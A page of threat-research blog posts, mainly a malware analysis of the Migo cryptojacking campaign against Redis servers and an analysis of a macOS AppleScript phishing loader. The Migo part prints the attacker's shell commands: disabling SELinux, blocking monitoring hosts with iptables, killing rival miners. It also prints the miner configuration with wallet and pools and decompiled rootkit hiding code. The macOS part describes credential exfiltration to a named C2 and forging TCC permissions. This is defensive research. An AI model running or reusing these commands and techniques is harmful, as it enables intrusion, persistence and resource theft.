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February 20, 2024

Migo: A Redis Miner with Novel System Weakening Techniques

Migo is a cryptojacking campaign targeting Redis servers, that uses novel system-weakening techniques for initial access. It deploys a Golang ELF binary for cryptocurrency mining, which employs compile-time obfuscation and achieves persistence on Linux hosts. Migo also utilizes a modified user-mode rootkit to hide its processes and on-disk artifacts, complicating analysis and forensics.
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20
Feb 2024

Introduction: Migo

Researchers from Cado Security Labs (now part of Darktrace) encountered a novel malware campaign targeting Redis for initial access. Whilst Redis is no stranger to exploitation by Linux and cloud-focused attackers, this particular campaign involves the use of a number of novel system weakening techniques against the data store itself. 

The malware, named Migo by the developers, aims to compromise Redis servers for the purpose of mining cryptocurrency on the underlying Linux host. 

Summary:

  • New Redis system weakening commands have been observed in the wild
  • The campaign utilizes these commands to exploit Redis to conduct a cryptojacking attack
  • Migo is delivered as a Golang ELF binary, with compile-time obfuscation and the ability to persist on Linux hosts
  • A modified version of a popular user mode rootkit is deployed by the malware to hide processes and on-disk artefacts

Initial access

Cado researchers were first alerted to the Migo campaign after noticing an unusual series of commands targeting a Redis honeypot. 

A malicious node at the IP 103[.]79[.]118[.]221 connected to the honeypot and disabled the following configuration options using the Redis command line interface’s (CLI) config set feature:

  • set protected-mode
  • replica-read-only
  • aof-rewrite-incremental-fsync
  • rdb-save-incremental-fsync

Discussing each of these in turn will shed some light on the threat actor’s motivation for doing so.

Set protected-mode

Protected mode is an operating mode of the Redis server that’s designed as a mitigation for users who may have inadvertently exposed the server to external networks. [1]

Introduced in version 3.2.0, protected mode is engaged when a Redis server has been deployed in the default configuration (i.e. bound to all networking interfaces) without having password authentication enabled. In this mode, the Redis server will only accept connections from the loopback interface, any other connections will receive an error.

Given that the threat actor does not have access to the loopback interface and is instead attempting to connect externally, this command should automatically fail on Redis servers with protected mode enabled. It’s possible the attacker has misunderstood this feature and is trying to issue a number of system weakening commands in an opportunistic manner. 

This feature is disabled in Cado’s honeypot environment, which is why these commands and additional actions on objective succeed.

Redis honeypot sensor
Figure 1: Disable protected mode command observed by a Redis honeypot sensor

Replica-read-only

As the name suggests, the replica-read-only feature configures Redis replicas (exact copies of a master Redis instance) to reject all incoming write commands [2][3]. This configuration parameter is enabled by default, to prevent accidental writes to replicas which could result in the master/replica topology becoming out of sync.

Cado researchers have previously reported on exploitation of the replication feature being used to deliver malicious payloads to Redis instances. [4] The threat actors behind Migo are likely disabling this feature to facilitate future exploitation of the Redis server.

honeypot sensor
Figure 2: Disable aof-rewrite-incremental-fsync command observed by a Redis honeypot sensor

After disabling these configuration parameters, the threat actor used the set command to set the values of two separate Redis keys. One key is assigned a string value corresponding to a malicious threat actor-controlled SSH key, and the other to a Cron job that retrieves the malicious primary payload from Transfer.sh (a relatively uncommon distribution mechanism previously covered by Cado) via Pastebin [5].

The threat actors will then follow-up with a series of commands to change the working directory of Redis itself, before saving the contents of the database. If the working directory is one of the Cron directories, the file will be parsed by crond and executed as a normal Cron job.  This is a common attack pattern against Redis servers and has been previously documented by Cado and others[6][7]

honeypot sensor
Figure 3: Abusing the set command to register a malicious Cron job

As can be seen above, the threat actors create a key named mimigo and use it to register a Cron job that first checks whether a file exists at /tmp/.xxx1. If not, a simple script is retrieved from Pastebin using either curl or wget, and executed directly in memory by piping through sh.

Pastebin script
Figure 4: Pastebin script used to retrieve primary payload from transfer.sh

This in-memory script proceeds to create an empty file at /tmp/.xxx1 (an indicator to the previous stage that the host has been compromised) before retrieving the primary payload from transfer.sh. This payload is saved as /tmp/.migo, before being executed as a background task via nohup.

Primary payload – static properties

The Migo primary payload (/tmp/.migo) is delivered as a statically-linked and stripped UPX-packed ELF, compiled from Go code for the x86_64 architecture. The sample uses vanilla UPX packing (i.e. the UPX header is intact) and can be trivially unpacked using upx -d. 

After unpacking, analysis of the .gopclntab section of the binary highlights the threat actor’s use of a compile-time obfuscator to obscure various strings relating to internal symbols. You might wonder why this is necessary when the binary is already stripped, the answer lies with a feature of the Go programming language named “Program Counter Line Table (pclntab)”. 

In short, the pclntab is a structure located in the .gopclntab section of a Go ELF binary. It can be used to map virtual addresses to symbol names, for the purposes of generating stack traces. This allows reverse engineers the ability to recover symbols from the binary, even in cases where the binary is stripped.  

The developers of Migo have since opted to further protect these symbols by applying additional compile-time obfuscation. This is likely to prevent details of the malware’s capabilities from appearing in stack traces or being easily recovered by reverse engineers.

gopclntab section
Figure 5: Compile-time symbol obfuscation in gopclntab section

With the help of Interactive Disassembler’s (IDA’s) function recognition engine, we can see a number of Go packages (libraries) used by the binary. This includes functions from the OS package, including os/exec (used to run shell commands on Linux hosts), os.GetEnv (to retrieve the value of a specific environment variable) and os.Open to open files. [8, 9]

OS library functions
 Figure 6: Examples of OS library functions identified by IDA

Additionally, the malware includes the net package for performing HTTP requests, the encoding/json package for working with JSON data and the compress/gzip package for handling gzip archives.

Primarily payload – capabilities

Shortly after execution, the Migo binary will consult an infection marker in the form of a file at /tmp/.migo_running. If this file doesn’t exist, the malware creates it, determines its own process ID and writes the file. This tells the threat actors that the machine has been previously compromised, should they encounter it again.

newfstatat(AT_FDCWD, "/tmp/.migo_running", 0xc00010ac68, 0) = -1 ENOENT (No such file or directory) 
    getpid() = 2557 
    openat(AT_FDCWD, "/tmp/.migo_running", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 6 
    fcntl(6, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 6, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473793, u64=9169307754234380289}}) = -1 EPERM (Operation not permitted) 
    fcntl(6, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(6, "2557", 4)  = 4 
    close(6) = 0 

Migo proceeds to retrieve the XMRig installer in tar.gz format directly from Github’s CDN, before creating a new directory at /tmp/.migo_worker, where the installer archive is saved as /tmp/.migo_worker/.worker.tar.gz.  Naturally, Migo proceeds to unpack this archive and saves the XMRig binary as /tmp/.migo_worker/.migo_worker. The installation archive contains a default XMRig configuration file, which is rewritten dynamically by the malware and saved to /tmp/.migo_worker/.migo.json.

openat(AT_FDCWD, "/tmp/.migo_worker/config.json", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 9 
    fcntl(9, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 9, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473930, u64=9169307754234380426}}) = -1 EPERM (Operation not permitted) 
    fcntl(9, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(9, "{\n \"api\": {\n \"id\": null,\n \"worker-id\": null\n },\n \"http\": {\n \"enabled\": false,\n \"host\": \"127.0.0.1\",\n \"port"..., 2346) = 2346 
    newfstatat(AT_FDCWD, "/tmp/.migo_worker/.migo.json", 0xc00010ad38, AT_SYMLINK_NOFOLLOW) = -1 ENOENT (No such file or directory) 
    renameat(AT_FDCWD, "/tmp/.migo_worker/config.json", AT_FDCWD, "/tmp/.migo_worker/.migo.json") = 0 

An example of the XMRig configuration used as part of the campaign (as collected along with the binary payload on the Cado honeypot) can be seen below:

{ 
     "api": { 
     "id": null, 
     "worker-id": null 
     }, 
     "http": { 
     "enabled": false, 
     "host": "127.0.0.1", 
     "port": 0, 
     "access-token": null, 
     "restricted": true 
     }, 
     "autosave": true, 
     "background": false, 
     "colors": true, 
     "title": true, 
     "randomx": { 
     "init": -1, 
     "init-avx2": -1, 
     "mode": "auto", 
     "1gb-pages": false, 
     "rdmsr": true, 
     "wrmsr": true, 
     "cache_qos": false, 
     "numa": true, 
     "scratchpad_prefetch_mode": 1 
     }, 
     "cpu": { 
     "enabled": true, 
     "huge-pages": true, 
     "huge-pages-jit": false, 
     "hw-aes": null, 
     "priority": null, 
     "memory-pool": false, 
     "yield": true, 
     "asm": true, 
     "argon2-impl": null, 
     "argon2": [0, 1], 
     "cn": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-heavy": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-lite": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-pico": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "cn/upx2": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "ghostrider": [ 
     [8, 0], 
     [8, 1] 
     ], 
     "rx": [0, 1], 
     "rx/wow": [0, 1], 
     "cn-lite/0": false, 
     "cn/0": false, 
     "rx/arq": "rx/wow", 
     "rx/keva": "rx/wow" 
     }, 
     "log-file": null, 
     "donate-level": 1, 
     "donate-over-proxy": 1, 
     "pools": [ 
     { 
     "algo": null, 
     "coin": null, 
     "url": "xmrpool.eu:9999", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.hashvault.pro:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": "XMR", 
     "url": "xmr-jp1.nanopool.org:14433", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": false, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.supportxmr.com:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     } 
     ], 
     "retries": 5, 
     "retry-pause": 5, 
     "print-time": 60, 
     "dmi": true, 
     "syslog": false, 
     "tls": { 
     "enabled": false, 
     "protocols": null, 
     "cert": null, 
     "cert_key": null, 
     "ciphers": null, 
     "ciphersuites": null, 
     "dhparam": null 
     }, 
     "dns": { 
     "ipv6": false, 
     "ttl": 30 
     }, 
     "user-agent": null, 
     "verbose": 0, 
     "watch": true, 
     "pause-on-battery": false, 
     "pause-on-active": false 
    } 

With the miner installed and an XMRig configuration set, the malware proceeds to query some information about the system, including the number of logged-in users (via the w binary) and resource limits for users on the system. It also sets the number of Huge Pages available on the system to 128, using the vm.nr_hugepages parameter. These actions are fairly typical for cryptojacking malware. [10]

Interestingly, Migo appears to recursively iterate through files and directories under /etc. The malware will simply read files in these locations and not do anything with the contents. One theory, based on this analysis, is that this could be a (weak) attempt to confuse sandbox and dynamic analysis solutions by performing a large number of benign actions, resulting in a non-malicious classification. It’s also possible the malware is hunting for an artefact specific to the target environment that’s missing from our own analysis environment. However, there was no evidence of this recovered during our analysis.

Once this is complete, the binary is copied to /tmp via the /proc/self/exe symlink ahead of registering persistence, before a series of shell commands are executed. An example of these commands is listed below.

/bin/chmod +x /tmp/.migo 
    /bin/sh -c "echo SELINUX=disabled > /etc/sysconfig/selinux" 
    /bin/sh -c "ls /usr/local/qcloud/YunJing/uninst.sh || ls /var/lib/qcloud/YunJing/uninst.sh" 
    /bin/sh -c "ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh || ls /usr/local/qcloud/stargate/admin/uninstall.sh" 
    /bin/sh -c command -v setenforce 
    /bin/sh -c command -v systemctl 
    /bin/sh -c setenforce 0o 
    go_worker --config /tmp/.migo_worker/.migo.json 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /home" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /root" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /tmp" 
    bash -c "systemctl start system-kernel.timer && systemctl enable system-kernel.timer" 
    iptables -A OUTPUT -d 10.148.188.201 -j DROP 
    iptables -A OUTPUT -d 10.148.188.202 -j DROP 
    iptables -A OUTPUT -d 11.149.252.51 -j DROP 
    iptables -A OUTPUT -d 11.149.252.57 -j DROP 
    iptables -A OUTPUT -d 11.149.252.62 -j DROP 
    iptables -A OUTPUT -d 11.177.124.86 -j DROP 
    iptables -A OUTPUT -d 11.177.125.116 -j DROP 
    iptables -A OUTPUT -d 120.232.65.223 -j DROP 
    iptables -A OUTPUT -d 157.148.45.20 -j DROP 
    iptables -A OUTPUT -d 169.254.0.55 -j DROP 
    iptables -A OUTPUT -d 183.2.143.163 -j DROP 
    iptables -C OUTPUT -d 10.148.188.201 -j DROP 
    iptables -C OUTPUT -d 10.148.188.202 -j DROP 
    iptables -C OUTPUT -d 11.149.252.51 -j DROP 
    iptables -C OUTPUT -d 11.149.252.57 -j DROP 
    iptables -C OUTPUT -d 11.149.252.62 -j DROP 
    iptables -C OUTPUT -d 11.177.124.86 -j DROP 
    iptables -C OUTPUT -d 11.177.125.116 -j DROP 
    iptables -C OUTPUT -d 120.232.65.223 -j DROP 
    iptables -C OUTPUT -d 157.148.45.20 -j DROP 
    iptables -C OUTPUT -d 169.254.0.55 -j DROP 
    iptables -C OUTPUT -d 183.2.143.163 -j DROP 
    kill -9 
    ls /usr/local/aegis/aegis_client 
    ls /usr/local/aegis/aegis_update 
    ls /usr/local/cloudmonitor/cloudmonitorCtl.sh 
    ls /usr/local/qcloud/YunJing/uninst.sh 
    ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh 
    ls /usr/local/qcloud/stargate/admin/uninstall.sh 
    ls /var/lib/qcloud/YunJing/uninst.sh 
    lsattr /etc/cron.d/0hourly 
    lsattr /etc/cron.d/raid-check 
    lsattr /etc/cron.d/sysstat 
    lsattr /etc/crontab 
    sh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1" 
    sh -c "ps -ef | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep ddgs | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep f2poll | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hashfish | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep t00ls.ru | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep xmrig | awk '{print $2}' | xargs kill -9" 
    systemctl start system-kernel.timer 
    systemctl status firewalld 

In summary, they perform the following actions:

  • Make the copied version of the binary executable, to be executed via a persistence mechanism
  • Disable SELinux and search for uninstallation scripts for monitoring agents bundled in compute instances from cloud providers such as Qcloud and Alibaba Cloud
  • Execute the miner and pass the dropped configuration into it
  • Configure iptables to drop outbound traffic to specific IPs
  • Kill competing miners and payloads from similar campaigns
  • Register persistence via the systemd timer system-kernel.timer

Note that these actions are consistent with prior mining campaigns targeting East Asian cloud providers analyzed by Cado researchers [11].

Migo will also attempt to prevent outbound traffic to domains belonging to these cloud providers by writing the following lines to /etc/hosts, effectively creating a blackhole for each of these domains. It’s likely that this is to prevent monitoring agents and update software from contacting these domains and triggering any alerts that might be in place. 

This also gives some insight into the infrastructure targeted by the malware, as these domains belong to the same cloud service providers as we discussed previously.

modified contents
Figure 7: Modified contents of /etc/hosts

Persistence

As seen in the commands above, Migo achieves persistence on the target host via the use of a systemd service and associated systemd timer. These are named system-kernel.timer and system-kernel.service respectively. 

The service unit is straightforward, it simply ensures the Migo payload is executable before invoking it. The malware also configures the allowed number of open file descriptors (via the LimitNOFILE parameter) and increases the CPU shares weighting to 1000000, allowing the miner to fully utilize the CPU.

example contents
Figure 8: Example contents of system-kernel.service

This service is controlled by an associated systemd timer, allowing it to be executed 5 seconds after the machine boots, and executed again every five seconds following that [12]. This, in combination with the infection marker mentioned previously, ensures the miner is kept running and can effectively contribute to the mining pool.

Example contents
Figure 9: Example contents of system-kernel.timer

Process hiding

Interestingly, Migo will attempt to hide on-disk artefacts dropped by itself via the use of a user mode rootkit. These artefacts include the contents /tmp/.migo_worker directory, where the malware stores the miner and configuration file, as well as the main payload located at /tmp/.migo. 

To achieve this, the malware updates /etc/ld.so.preload to point at a Linux shared object file located at /usr/local/lib/libsystemd.so, effectively conducting Dynamic Linker hijacking on the Redis host. [13] This shared object is embedded within the Migo primary payload and is extracted at runtime.

 if ( !original_readdir ) 
     { 
     original_readdir = dlsym(0xFFFFFFFFFFFFFFFFLL, "readdir"); 
     if ( !original_readdir ) 
     { 
     v1 = dlerror(); 
     fprintf(stderr, aDlsym_0, v1); 
     } 
     } 
     do 
     v5 = original_readdir(a1); 
     while ( v5 
     && (get_dir_name(a1, s1, 256LL) 
     && !strcmp(s1, "/proc") 
     && get_process_name(v5 + 19, v4) 
     && should_hide_entry(v4, &hiddenProcesses, 3LL) 
     || should_hide_entry(v5 + 19, hiddenFiles, 4LL) 
     || *(v5 + 18) == 4 && should_hide_entry(v5 + 19, &hiddenDirectories, 1LL)) ); 
     return v5; 
    } 

Decompiler output for the process and file hiding functionality in libsystemd.so

libsystemd.so is a process hider based on the open source libprocesshider project, seen frequently in cryptojacking campaigns. [14, 15] With this shared object in place, the malware intercepts invocations of file and process listing tools (ls, ps, top etc) and hides the appropriate lines from the tool’s output.

Examples of hardcoded artefacts
Figure 10: Examples of hardcoded artefacts to hide

Conclusion

Migo demonstrates that cloud-focused attackers are continuing to refine their techniques and improve their ability to exploit web-facing services. The campaign utilized a number of Redis system weakening commands, in an attempt to disable security features of the data store that may impede their initial access attempts. These commands have not previously been reported in campaigns leveraging Redis for initial access. 

The developers of Migo also appear to be aware of the malware analysis process, taking additional steps to obfuscate symbols and strings found in the pclntab structure that could aid reverse engineering. Even the use of Go to produce a compiled binary as the primary payload, rather than using a series of shell scripts as seen in previous campaigns, suggests that those behind Migo are continuing to hone their techniques and complicate the analysis process. 

In addition, the use of a user mode rootkit could complicate post-incident forensics of hosts compromised by Migo. Although libprocesshider is frequently used by cryptojacking campaigns, this particular variant includes the ability to hide on-disk artefacts in addition to the malicious processes themselves.

Indicators of compromise (IoC)

File SHA256

/tmp/.migo (packed) 8cce669c8f9c5304b43d6e91e6332b1cf1113c81f355877dabd25198c3c3f208

/tmp/.migo_worker/.worker.tar.gz c5dc12dbb9bb51ea8acf93d6349d5bc7fe5ee11b68d6371c1bbb098e21d0f685

/tmp/.migo_worker/.migo_json 2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

/tmp/.migo_worker/.migo_worker (XMRig) 364a7f8e3701a340400d77795512c18f680ee67e178880e1bb1fcda36ddbc12c

system-kernel.service 5dc4a48ebd4f4be7ffcf3d2c1e1ae4f2640e41ca137a58dbb33b0b249b68759e

system-kernel.service 76ecd546374b24443d76c450cb8ed7226db84681ee725482d5b9ff4ce3273c7f

libsystemd.so 32d32bf0be126e685e898d0ac21d93618f95f405c6400e1c8b0a8a72aa753933

IP addresses

103[.]79[.]118[.]221

References

  1. https://redis.io/docs/latest/operate/oss_and_stack/management/security/#protected-mode
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/#read-only-replica
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/
  1. https://www.cadosecurity.com/blog/redis-p2pinfect
  1. https://www.cadosecurity.com/blog/redis-miner-leverages-command-line-file-hosting-service
  1. https://www.cadosecurity.com/blog/kiss-a-dog-discovered-utilizing-a-20-year-old-process-hider
  1. https://www.trendmicro.com/en_ph/research/20/d/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html
  1. https://pkg.go.dev/os
  1. https://pkg.go.dev/os/exec
  1. https://www.crowdstrike.com/en-us/blog/2021-cryptojacking-trends-and-investigation-recommendations/  
  1. https://www.cadosecurity.com/blog/watchdog-continues-to-target-east-asian-csps
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://github.com/gianlucaborello/libprocesshider
  1. https://www.cadosecurity.com/blog/abcbot-an-evolution-of-xanthe

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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February 6, 2026

AppleScript Abuse: Unpacking a macOS Phishing Campaign

AppleScript Abuse: Unpacking a macOS Phishing CampaignDefault blog imageDefault blog image

Introduction

Darktrace security researchers have identified a campaign targeting macOS users through a multistage malware campaign that leverages social engineering and attempted abuse of the macOS Transparency, Consent and Control (TCC) privacy feature.

The malware establishes persistence via LaunchAgents and deploys a modular Node.js loader capable of executing binaries delivered from a remote command-and-control (C2) server.

Due to increased built-in security mechanisms in macOS such as System Integrity Protection (SIP) and Gatekeeper, threat actors increasingly rely on alternative techniques, including fake software and ClickFix attacks [1] [2]. As a result, macOS threats r[NJ1] ely more heavily on social engineering instead of vulnerability exploitation to deliver payloads, a trend Darktrace has observed across the threat landscape [3].

Technical analysis

The infection chain starts with a phishing email that prompts the user to download an AppleScript file named “Confirmation_Token_Vesting.docx.scpt”, which attemps to masquerade as a legitimate Microsoft document.

The AppleScript header prompting execution of the script.
Figure 1: The AppleScript header prompting execution of the script.

Once the user opens the AppleScript file, they are presented with a prompt instructing them to run the script, supposedly due to “compatibility issues”. This prompt is necessary as AppleScript requires user interaction to execute the script, preventing it from running automatically. To further conceal its intent, the malicious part of the script is buried below many empty lines, assuming a user likely will not to the end of the file where the malicious code is placed.

Curl request to receive the next stage.
Figure 2: Curl request to receive the next stage.

This part of the script builds a silent curl request to “sevrrhst[.]com”, sending the user’s macOS operating system, CPU type and language. This request retrieves another script, which is saved as a hidden file at in ~/.ex.scpt, executed, and then deleted.

The retrieved payload is another AppleScript designed to steal credentials and retrieve additional payloads. It begins by loading the AppKit framework, which enables the script to create a fake dialog box prompting the user to enter their system username and password [4].

 Fake dialog prompt for system password.
Figure 3: Fake dialog prompt for system password.

The script then validates the username and password using the command "dscl /Search -authonly <username> <password>", all while displaying a fake progress bar to the user. If validation fails, the dialog window shakes suggesting an incorrect password and prompting the user to try again. The username and password are then encoded in Base64 and sent to: https://sevrrhst[.]com/css/controller.php?req=contact&ac=<user>&qd=<pass>.

Figure 4: Requirements gathered on trusted binary.

Within the getCSReq() function, the script chooses from trusted Mac applications: Finder, Terminal, Script Editor, osascript, and bash. Using the codesign command codesign -d --requirements, it extracts the designated code-signing requirement from the target application. If a valid requirement cannot be retrieved, that binary is skipped. Once a designated requirement is gathered, it is then compiled into a binary trust object using the Code Signing Requirement command (csreq). This trust object is then converted into hex so it can later be injected into the TCC SQLite database.[NB2]

To bypass integrity checks, the TCC directory is renamed to com.appled.tcc using Finder. TCC is a macOS privacy framework designed to restrict application access to sensitive data, requiring users to explicitly grant permissions before apps can access items such as files, contacts, and system resources [1].

Example of how users interact with TCC.
Figure 5: TCC directory renamed to com.appled.TCC.
Figure 6: Example of how users interact with TCC.

After the database directory rename is attempted, the killall command is used on the tccd daemon to force macOS to release the lock on the database. The database is then injected with the forged access records, including the service, trusted binary path, auth_value, and the forged csreq binary. The directory is renamed back to com.apple.TCC, allowing the injected entries to be read and the permissions to be accepted. This enables persistence authorization for:

  • Full disk access
  • Screen recording
  • Accessibility
  • Camera
  • Apple Events 
  • Input monitoring

The malware does not grant permissions to itself; instead, it forges TCC authorizations for trusted Apple-signed binaries (Terminal, osascript, Script Editor, and bash) and then executes malicious actions through these binaries to inherit their permissions.

Although the malware is attempting to manipulate TCC state via Finder, a trusted system component, Apple has introduced updates in recent macOS versions that move much of the authorization enforcement into the tccd daemon. These updates prevent unauthorized permission modifications through directory or database manipulation. As a result, the script may still succeed on some older operating systems, but it is likely to fail on newer installations, as tcc.db reloads now have more integrity checks and will fail on Mobile Device Management (MDM) [NB5] systems as their profiles override TCC.

 Snippet of decoded Base64 response.
Figure 7: Snippet of decoded Base64 response.

A request is made to the C2, which retrieves and executes a Base64-encoded script. This script retrieves additional payloads based on the system architecture and stores them inside a directory it creates named ~/.nodes. A series of requests are then made to sevrrhst[.]com for:

/controller.php?req=instd

/controller.php?req=tell

/controller.php?req=skip

These return a node archive, bundled Node.js binary, and a JavaScript payload. The JavaScript file, index.js, is a loader that profiles the system and sends the data to the C2. The script identified the system platform, whether macOS, Linux or Windows, and then gathers OS version, CPU details, memory usage, disk layout, network interfaces, and running process. This is sent to https://sevrrhst[.]com/inc/register.php?req=init as a JSON object. The victim system is then registered with the C2 and will receive a Base64-encoded response.

LaunchAgent patterns to be replaced with victim information.
Figure 8: LaunchAgent patterns to be replaced with victim information.

The Base64-encoded response decodes to an additional Javacript that is used to set up persistence. The script creates a folder named com.apple.commonjs in ~/Library and copies the Node dependencies into this directory. From the C2, the files package.json and default.js are retrieved and placed into the com.apple.commonjs folder. A LaunchAgent .plist is also downloaded into the LaunchAgents directory to ensure the malware automatically starts. The .plist launches node and default.js on load, and uses output logging to log errors and outputs.

Default.js is Base64 encoded JavaScript that functions as a command loop, periodically sending logs to the C2, and checking for new payloads to execute. This gives threat actors ongoing and the ability to dynamically modify behavior without having to redeploy the malware. A further Base64-encoded JavaScript file is downloaded as addon.js.

Addon.js is used as the final payload loader, retrieving a Base64-encoded binary from https://sevrrhst[.]com/inc/register.php?req=next. The binary is decoded from Base64 and written to disk as “node_addon”, and executed silently in the background. At the time of analysis, the C2 did not return a binary, possibly because certain conditions were not met.  However, this mechanism enables the delivery and execution of payloads. If the initial TCC abuse were successful, this payload could access protected resources such as Screen Capture and Camera without triggering a consent prompt, due to the previously established trust.

Conclusion

This campaign shows how a malicious threat actor can use an AppleScript loader to exploit user trust and manipulate TCC authorization mechanisms, achieving persistent access to a target network without exploiting vulnerabilities.

Although recent macOS versions include safeguards against this type of TCC abuse, users should keep their systems fully updated to ensure the most up to date protections.  These findings also highlight the intentions of threat actors when developing malware, even when their implementation is imperfect.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

88.119.171[.]59

sevrrhst[.]com

https://sevrrhst[.]com/inc/register.php?req=next

https://stomcs[.]com/inc/register.php?req=next
https://techcross-es[.]com

Confirmation_Token_Vesting.docx.scpt - d3539d71a12fe640f3af8d6fb4c680fd

EDD_Questionnaire_Individual_Blank_Form.docx.scpt - 94b7392133935d2034b8169b9ce50764

Investor Profile (Japan-based) - Shiro Arai.pdf.scpt - 319d905b83bf9856b84340493c828a0c

MITRE ATTACK

T1566 - Phishing

T1059.002 - Command and Scripting Interpreter: Applescript

T1059.004 – Command and Scripting Interpreter: Unix Shell

T1059.007 – Command and Scripting Interpreter: JavaScript

T1222.002 – File and Directory Permissions Modification

T1036.005 – Masquerading: Match Legitimate Name or Location

T1140 – Deobfuscate/Decode Files or Information

T1547.001 – Boot or Logon Autostart Execution: Launch Agent

T1553.006 – Subvert Trust Controls: Code Signing Policy Modification

T1082 – System Information Discovery

T1057 – Process Discovery

T1105 – Ingress Tool Transfer

References

[1] https://www.darktrace.com/blog/from-the-depths-analyzing-the-cthulhu-stealer-malware-for-macos

[2] https://www.darktrace.com/blog/unpacking-clickfix-darktraces-detection-of-a-prolific-social-engineering-tactic

[3] https://www.darktrace.com/blog/crypto-wallets-continue-to-be-drained-in-elaborate-social-media-scam

[4] https://developer.apple.com/documentation/appkit

[5] https://www.huntress.com/blog/full-transparency-controlling-apples-tcc

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Tara Gould
Malware Research Lead

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February 5, 2026

Darktrace Malware Analysis: Unpacking SnappyBee

darktace malware analysis snappybeeDefault blog imageDefault blog image

Introduction

The aim of this blog is to be an educational resource, documenting how an analyst can perform malware analysis techniques such as unpacking. This blog will demonstrate the malware analysis process against well-known malware, in this case SnappyBee.

